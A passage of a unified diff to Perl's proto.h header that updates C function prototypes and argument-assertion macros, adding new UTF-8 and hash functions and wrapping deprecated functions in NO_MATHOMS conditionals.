 PERL_CALLCONV int	Perl_bytes_cmp_utf8(pTHX_ const U8 *b, STRLEN blen, const U8 *u, STRLEN ulen);
 #define PERL_ARGS_ASSERT_BYTES_CMP_UTF8	\
 	assert(b); assert(u)
-PERL_CALLCONV U8*	Perl_bytes_from_utf8(pTHX_ const U8 *s, STRLEN *len, bool *is_utf8);
+PERL_CALLCONV U8*	Perl_bytes_from_utf8(pTHX_ const U8 *s, STRLEN *lenp, bool *is_utf8p);
 #define PERL_ARGS_ASSERT_BYTES_FROM_UTF8	\
-	assert(s); assert(len)
-PERL_CALLCONV U8*	Perl_bytes_to_utf8(pTHX_ const U8 *s, STRLEN *len);
+	assert(s); assert(lenp); assert(is_utf8p)
+PERL_CALLCONV U8*	Perl_bytes_from_utf8_loc(const U8 *s, STRLEN *lenp, bool *is_utf8p, const U8 ** first_unconverted);
+#define PERL_ARGS_ASSERT_BYTES_FROM_UTF8_LOC	\
+	assert(s); assert(lenp); assert(is_utf8p)
+PERL_CALLCONV U8*	Perl_bytes_to_utf8(pTHX_ const U8 *s, STRLEN *lenp);
 #define PERL_ARGS_ASSERT_BYTES_TO_UTF8	\
-	assert(s); assert(len)
+	assert(s); assert(lenp)
 PERL_CALLCONV I32	Perl_call_argv(pTHX_ const char* sub_name, I32 flags, char** argv);
 #define PERL_ARGS_ASSERT_CALL_ARGV	\
 	assert(sub_name); assert(argv)
@@ -275,7 +301,7 @@
 PERL_CALLCONV I32	Perl_call_pv(pTHX_ const char* sub_name, I32 flags);
 #define PERL_ARGS_ASSERT_CALL_PV	\
 	assert(sub_name)
-PERL_CALLCONV I32	Perl_call_sv(pTHX_ SV* sv, VOL I32 flags);
+PERL_CALLCONV I32	Perl_call_sv(pTHX_ SV* sv, volatile I32 flags);
 #define PERL_ARGS_ASSERT_CALL_SV	\
 	assert(sv)
 PERL_CALLCONV const PERL_CONTEXT *	Perl_caller_cx(pTHX_ I32 level, const PERL_CONTEXT **dbcxp);
@@ -613,10 +639,12 @@
 	assert(cv); assert(params)
 
 PERL_CALLCONV regexp_engine const *	Perl_current_re_engine(pTHX);
+#ifndef NO_MATHOMS
 PERL_CALLCONV const char *	Perl_custom_op_desc(pTHX_ const OP *o)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_CUSTOM_OP_DESC	\
 	assert(o)
+#endif
 
 PERL_CALLCONV XOPRETANY	Perl_custom_op_get_field(pTHX_ const OP *o, const xop_flags_enum field)
 			__attribute__warn_unused_result__;
@@ -623,10 +651,12 @@
 #define PERL_ARGS_ASSERT_CUSTOM_OP_GET_FIELD	\
 	assert(o)
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV const char *	Perl_custom_op_name(pTHX_ const OP *o)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_CUSTOM_OP_NAME	\
 	assert(o)
+#endif
 
 PERL_CALLCONV void	Perl_custom_op_register(pTHX_ Perl_ppaddr_t ppaddr, const XOP *xop);
 #define PERL_ARGS_ASSERT_CUSTOM_OP_REGISTER	\
@@ -651,6 +681,9 @@
 PERL_CALLCONV void	Perl_cv_get_call_checker(pTHX_ CV *cv, Perl_call_checker *ckfun_p, SV **ckobj_p);
 #define PERL_ARGS_ASSERT_CV_GET_CALL_CHECKER	\
 	assert(cv); assert(ckfun_p); assert(ckobj_p)
+PERL_CALLCONV void	Perl_cv_get_call_checker_flags(pTHX_ CV *cv, U32 gflags, Perl_call_checker *ckfun_p, SV **ckobj_p, U32 *ckflags_p);
+#define PERL_ARGS_ASSERT_CV_GET_CALL_CHECKER_FLAGS	\
+	assert(cv); assert(ckfun_p); assert(ckobj_p); assert(ckflags_p)
 PERL_CALLCONV SV *	Perl_cv_name(pTHX_ CV *cv, SV *sv, U32 flags);
 #define PERL_ARGS_ASSERT_CV_NAME	\
 	assert(cv)
@@ -657,7 +690,7 @@
 PERL_CALLCONV void	Perl_cv_set_call_checker(pTHX_ CV *cv, Perl_call_checker ckfun, SV *ckobj);
 #define PERL_ARGS_ASSERT_CV_SET_CALL_CHECKER	\
 	assert(cv); assert(ckfun); assert(ckobj)
-PERL_CALLCONV void	Perl_cv_set_call_checker_flags(pTHX_ CV *cv, Perl_call_checker ckfun, SV *ckobj, U32 flags);
+PERL_CALLCONV void	Perl_cv_set_call_checker_flags(pTHX_ CV *cv, Perl_call_checker ckfun, SV *ckobj, U32 ckflags);
 #define PERL_ARGS_ASSERT_CV_SET_CALL_CHECKER_FLAGS	\
 	assert(cv); assert(ckfun); assert(ckobj)
 PERL_CALLCONV void	Perl_cv_undef(pTHX_ CV* cv);
@@ -728,9 +761,11 @@
 PERL_CALLCONV bool	Perl_do_aexec5(pTHX_ SV* really, SV** mark, SV** sp, int fd, int do_report);
 #define PERL_ARGS_ASSERT_DO_AEXEC5	\
 	assert(mark); assert(sp)
+#ifndef NO_MATHOMS
 PERL_CALLCONV int	Perl_do_binmode(pTHX_ PerlIO *fp, int iotype, int mode);
 #define PERL_ARGS_ASSERT_DO_BINMODE	\
 	assert(fp)
+#endif
 PERL_CALLCONV bool	Perl_do_close(pTHX_ GV* gv, bool not_implicit);
 PERL_CALLCONV void	Perl_do_dump_pad(pTHX_ I32 level, PerlIO *file, PADLIST *padlist, int full);
 #define PERL_ARGS_ASSERT_DO_DUMP_PAD	\
@@ -738,7 +773,6 @@
 PERL_CALLCONV bool	Perl_do_eof(pTHX_ GV* gv);
 #define PERL_ARGS_ASSERT_DO_EOF	\
 	assert(gv)
-PERL_CALLCONV void	Perl_do_execfree(pTHX);
 PERL_CALLCONV void	Perl_do_gv_dump(pTHX_ I32 level, PerlIO *file, const char *name, GV *sv);
 #define PERL_ARGS_ASSERT_DO_GV_DUMP	\
 	assert(file); assert(name)
@@ -770,10 +804,12 @@
 PERL_CALLCONV bool	Perl_do_open6(pTHX_ GV *gv, const char *oname, STRLEN len, PerlIO *supplied_fp, SV **svp, U32 num);
 #define PERL_ARGS_ASSERT_DO_OPEN6	\
 	assert(gv); assert(oname)
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_do_open9(pTHX_ GV *gv, const char *name, I32 len, int as_raw, int rawmode, int rawperm, PerlIO *supplied_fp, SV *svs, I32 num);
 #define PERL_ARGS_ASSERT_DO_OPEN9	\
 	assert(gv); assert(name); assert(svs)
-PERL_CALLCONV bool	Perl_do_open_raw(pTHX_ GV *gv, const char *oname, STRLEN len, int rawmode, int rawperm);
+#endif
+PERL_CALLCONV bool	Perl_do_open_raw(pTHX_ GV *gv, const char *oname, STRLEN len, int rawmode, int rawperm, Stat_t *statbufp);
 #define PERL_ARGS_ASSERT_DO_OPEN_RAW	\
 	assert(gv); assert(oname)
 PERL_CALLCONV bool	Perl_do_openn(pTHX_ GV *gv, const char *oname, I32 len, int as_raw, int rawmode, int rawperm, PerlIO *supplied_fp, SV **svp, I32 num);
@@ -789,7 +825,7 @@
 			__attribute__warn_unused_result__;
 
 PERL_CALLCONV bool	Perl_do_seek(pTHX_ GV* gv, Off_t pos, int whence);
-PERL_CALLCONV void	Perl_do_sprintf(pTHX_ SV* sv, I32 len, SV** sarg);
+PERL_CALLCONV void	Perl_do_sprintf(pTHX_ SV* sv, SSize_t len, SV** sarg);
 #define PERL_ARGS_ASSERT_DO_SPRINTF	\
 	assert(sv); assert(sarg)
 PERL_CALLCONV void	Perl_do_sv_dump(pTHX_ I32 level, PerlIO *file, SV *sv, I32 nest, I32 maxnest, bool dumpops, STRLEN pvlim);
@@ -803,7 +839,7 @@
 #define PERL_ARGS_ASSERT_DO_TELL	\
 	assert(gv)
 
-PERL_CALLCONV I32	Perl_do_trans(pTHX_ SV* sv);
+PERL_CALLCONV Size_t	Perl_do_trans(pTHX_ SV* sv);
 #define PERL_ARGS_ASSERT_DO_TRANS	\
 	assert(sv)
 PERL_CALLCONV UV	Perl_do_vecget(pTHX_ SV* sv, STRLEN offset, int size);
@@ -1048,9 +1084,11 @@
 	assert(gv)
 
 PERL_CALLCONV void	Perl_gv_dump(pTHX_ GV* gv);
+#ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_gv_efullname(pTHX_ SV* sv, const GV* gv);
 #define PERL_ARGS_ASSERT_GV_EFULLNAME	\
 	assert(sv); assert(gv)
+#endif
 #ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_gv_efullname3(pTHX_ SV* sv, const GV* gv, const char* prefix);
 #define PERL_ARGS_ASSERT_GV_EFULLNAME3	\
@@ -1111,9 +1149,11 @@
 PERL_CALLCONV GV*	Perl_gv_fetchsv(pTHX_ SV *name, I32 flags, const svtype sv_type);
 #define PERL_ARGS_ASSERT_GV_FETCHSV	\
 	assert(name)
+#ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_gv_fullname(pTHX_ SV* sv, const GV* gv);
 #define PERL_ARGS_ASSERT_GV_FULLNAME	\
 	assert(sv); assert(gv)
+#endif
 #ifndef NO_MATHOMS
 PERL_CALLCONV void	Perl_gv_fullname3(pTHX_ SV* sv, const GV* gv, const char* prefix);
 #define PERL_ARGS_ASSERT_GV_FULLNAME3	\
@@ -1291,6 +1331,9 @@
 PERL_CALLCONV void	Perl_hv_placeholders_set(pTHX_ HV *hv, I32 ph);
 #define PERL_ARGS_ASSERT_HV_PLACEHOLDERS_SET	\
 	assert(hv)
+PERL_CALLCONV void	Perl_hv_pushkv(pTHX_ HV *hv, U32 flags);
+#define PERL_ARGS_ASSERT_HV_PUSHKV	\
+	assert(hv)
 PERL_CALLCONV void	Perl_hv_rand_set(pTHX_ HV *hv, U32 new_xhv_rand);
 #define PERL_ARGS_ASSERT_HV_RAND_SET	\
 	assert(hv)
@@ -1334,11 +1377,17 @@
 PERL_CALLCONV void	Perl_init_dbargs(pTHX);
 PERL_CALLCONV void	Perl_init_debugger(pTHX);
 PERL_CALLCONV int	Perl_init_i18nl10n(pTHX_ int printwarn);
+#ifndef NO_MATHOMS
 PERL_CALLCONV int	Perl_init_i18nl14n(pTHX_ int printwarn);
+#endif
+PERL_CALLCONV void	Perl_init_named_cv(pTHX_ CV *cv, OP *nameop);
+#define PERL_ARGS_ASSERT_INIT_NAMED_CV	\
+	assert(cv); assert(nameop)
 PERL_CALLCONV void	Perl_init_stacks(pTHX);
 PERL_CALLCONV void	Perl_init_tm(pTHX_ struct tm *ptm);
 #define PERL_ARGS_ASSERT_INIT_TM	\
 	assert(ptm)
+PERL_CALLCONV void	Perl_init_uniprops(pTHX);
 #ifndef NO_MATHOMS
 PERL_CALLCONV char*	Perl_instr(const char* big, const char* little)
 			__attribute__warn_unused_result__
@@ -1354,36 +1403,36 @@
 PERL_CALLCONV bool	Perl_io_close(pTHX_ IO* io, GV *gv, bool not_implicit, bool warn_on_fail);
 #define PERL_ARGS_ASSERT_IO_CLOSE	\
 	assert(io)
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_isALNUM_lazy(pTHX_ const char* p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_ISALNUM_LAZY	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_isIDFIRST_lazy(pTHX_ const char* p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_ISIDFIRST_LAZY	\
 	assert(p)
+#endif
 
-/* PERL_CALLCONV bool	Perl_is_ascii_string(const U8* const s, const STRLEN len)
+/* PERL_CALLCONV bool	Perl_is_ascii_string(const U8* const s, STRLEN len)
 			__attribute__warn_unused_result__
 			__attribute__pure__; */
 
-#ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_is_c9strict_utf8_string(const U8 *s, const STRLEN len)
-			__attribute__warn_unused_result__;
-#define PERL_ARGS_ASSERT_IS_C9STRICT_UTF8_STRING	\
-	assert(s)
-#endif
+/* PERL_CALLCONV bool	Perl_is_c9strict_utf8_string(const U8 *s, STRLEN len)
+			__attribute__warn_unused_result__; */
 
-/* PERL_CALLCONV bool	is_c9strict_utf8_string_loc(const U8 *s, const STRLEN len, const U8 **ep); */
+/* PERL_CALLCONV bool	is_c9strict_utf8_string_loc(const U8 *s, STRLEN len, const U8 **ep); */
 #ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_is_c9strict_utf8_string_loclen(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el);
+PERL_STATIC_INLINE bool	S_is_c9strict_utf8_string_loclen(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el);
 #define PERL_ARGS_ASSERT_IS_C9STRICT_UTF8_STRING_LOCLEN	\
 	assert(s)
 #endif
-/* PERL_CALLCONV bool	Perl_is_invariant_string(const U8* const s, const STRLEN len)
+/* PERL_CALLCONV bool	Perl_is_invariant_string(const U8* const s, STRLEN len)
 			__attribute__warn_unused_result__
 			__attribute__pure__; */
 
@@ -1397,183 +1446,251 @@
 	assert(pv); assert(what); assert(op_name)
 #endif
 
-#ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_is_strict_utf8_string(const U8 *s, const STRLEN len)
-			__attribute__warn_unused_result__;
-#define PERL_ARGS_ASSERT_IS_STRICT_UTF8_STRING	\
-	assert(s)
-#endif
+/* PERL_CALLCONV bool	Perl_is_strict_utf8_string(const U8 *s, STRLEN len)
+			__attribute__warn_unused_result__; */
 
-/* PERL_CALLCONV bool	is_strict_utf8_string_loc(const U8 *s, const STRLEN len, const U8 **ep); */
+/* PERL_CALLCONV bool	is_strict_utf8_string_loc(const U8 *s, STRLEN len, const U8 **ep); */
 #ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_is_strict_utf8_string_loclen(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el);
+PERL_STATIC_INLINE bool	S_is_strict_utf8_string_loclen(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el);
 #define PERL_ARGS_ASSERT_IS_STRICT_UTF8_STRING_LOCLEN	\
 	assert(s)
 #endif
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_alnum(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_alnum_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_alnumc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_alnumc_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_alpha(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_alpha_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_ascii(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__
 			__attribute__pure__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_ascii_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__
 			__attribute__pure__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_blank(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__
 			__attribute__pure__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_blank_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__
 			__attribute__pure__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_cntrl(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__
 			__attribute__pure__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_cntrl_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__
 			__attribute__pure__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_digit(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_digit_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_graph(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_graph_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_idfirst(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_idfirst_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_lower(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_lower_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_print(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_print_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_punct(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_punct_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_space(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__
 			__attribute__pure__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_space_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__
 			__attribute__pure__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_upper(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_upper_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_xdigit(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__
 			__attribute__pure__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_uni_xdigit_lc(pTHX_ UV c)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__
 			__attribute__pure__;
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_alnum(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_ALNUM	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_alnumc(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_ALNUMC	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_alpha(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_ALPHA	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_ascii(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_ASCII	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_blank(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_BLANK	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV STRLEN	Perl_is_utf8_char(const U8 *s)
 			__attribute__deprecated__;
 #define PERL_ARGS_ASSERT_IS_UTF8_CHAR	\
 	assert(s)
+#endif
 
 #ifndef NO_MATHOMS
 PERL_CALLCONV STRLEN	Perl_is_utf8_char_buf(const U8 *buf, const U8 *buf_end);
@@ -1580,107 +1697,132 @@
 #define PERL_ARGS_ASSERT_IS_UTF8_CHAR_BUF	\
 	assert(buf); assert(buf_end)
 #endif
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_cntrl(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_CNTRL	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_digit(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_DIGIT	\
 	assert(p)
+#endif
 
-/* PERL_CALLCONV bool	is_utf8_fixed_width_buf_flags(const U8 * const s, const STRLEN len, const U32 flags); */
-/* PERL_CALLCONV bool	is_utf8_fixed_width_buf_loc_flags(const U8 * const s, const STRLEN len, const U8 **ep, const U32 flags); */
+/* PERL_CALLCONV bool	is_utf8_fixed_width_buf_flags(const U8 * const s, STRLEN len, const U32 flags); */
+/* PERL_CALLCONV bool	is_utf8_fixed_width_buf_loc_flags(const U8 * const s, STRLEN len, const U8 **ep, const U32 flags); */
 #ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_is_utf8_fixed_width_buf_loclen_flags(const U8 * const s, const STRLEN len, const U8 **ep, STRLEN *el, const U32 flags);
+PERL_STATIC_INLINE bool	S_is_utf8_fixed_width_buf_loclen_flags(const U8 * const s, STRLEN len, const U8 **ep, STRLEN *el, const U32 flags);
 #define PERL_ARGS_ASSERT_IS_UTF8_FIXED_WIDTH_BUF_LOCLEN_FLAGS	\
 	assert(s)
 #endif
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_graph(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_GRAPH	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_idcont(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_IDCONT	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_idfirst(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_IDFIRST	\
 	assert(p)
+#endif
 
+/* PERL_CALLCONV bool	is_utf8_invariant_string(const U8* const s, STRLEN len)
+			__attribute__warn_unused_result__; */
+
 #ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_is_utf8_invariant_string(const U8* const s, STRLEN const len)
+PERL_STATIC_INLINE bool	S_is_utf8_invariant_string_loc(const U8* const s, STRLEN len, const U8 ** ep)
 			__attribute__warn_unused_result__;
-#define PERL_ARGS_ASSERT_IS_UTF8_INVARIANT_STRING	\
+#define PERL_ARGS_ASSERT_IS_UTF8_INVARIANT_STRING_LOC	\
 	assert(s)
 #endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_lower(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_LOWER	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_mark(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_MARK	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_perl_space(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_PERL_SPACE	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_perl_word(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_PERL_WORD	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_posix_digit(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_POSIX_DIGIT	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_print(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_PRINT	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_punct(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_PUNCT	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_space(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_SPACE	\
 	assert(p)
-
-#ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	Perl_is_utf8_string(const U8 *s, const STRLEN len)
-			__attribute__warn_unused_result__;
-#define PERL_ARGS_ASSERT_IS_UTF8_STRING	\
-	assert(s)
 #endif
 
+/* PERL_CALLCONV bool	Perl_is_utf8_string(const U8 *s, STRLEN len)
+			__attribute__warn_unused_result__; */
+
 #ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_is_utf8_string_flags(const U8 *s, const STRLEN len, const U32 flags)
+PERL_STATIC_INLINE bool	S_is_utf8_string_flags(const U8 *s, STRLEN len, const U32 flags)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_STRING_FLAGS	\
 	assert(s)
@@ -1691,22 +1833,24 @@
 #define PERL_ARGS_ASSERT_IS_UTF8_STRING_LOC	\
 	assert(s); assert(ep)
 #endif
-/* PERL_CALLCONV bool	is_utf8_string_loc_flags(const U8 *s, const STRLEN len, const U8 **ep, const U32 flags); */
+/* PERL_CALLCONV bool	is_utf8_string_loc_flags(const U8 *s, STRLEN len, const U8 **ep, const U32 flags); */
 #ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	Perl_is_utf8_string_loclen(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el);
+PERL_STATIC_INLINE bool	Perl_is_utf8_string_loclen(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el);
 #define PERL_ARGS_ASSERT_IS_UTF8_STRING_LOCLEN	\
 	assert(s)
 #endif
 #ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_is_utf8_string_loclen_flags(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el, const U32 flags);
+PERL_STATIC_INLINE bool	S_is_utf8_string_loclen_flags(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el, const U32 flags);
 #define PERL_ARGS_ASSERT_IS_UTF8_STRING_LOCLEN_FLAGS	\
 	assert(s)
 #endif
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_upper(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_UPPER	\
 	assert(p)
+#endif
 
 /* PERL_CALLCONV bool	is_utf8_valid_partial_char(const U8 * const s, const U8 * const e)
 			__attribute__warn_unused_result__
@@ -1719,23 +1863,29 @@
 	assert(s); assert(e)
 #endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_xdigit(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_XDIGIT	\
 	assert(p)
+#endif
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV bool	Perl_is_utf8_xidcont(pTHX_ const U8 *p)
 			__attribute__deprecated__
 			__attribute__warn_unused_result__;
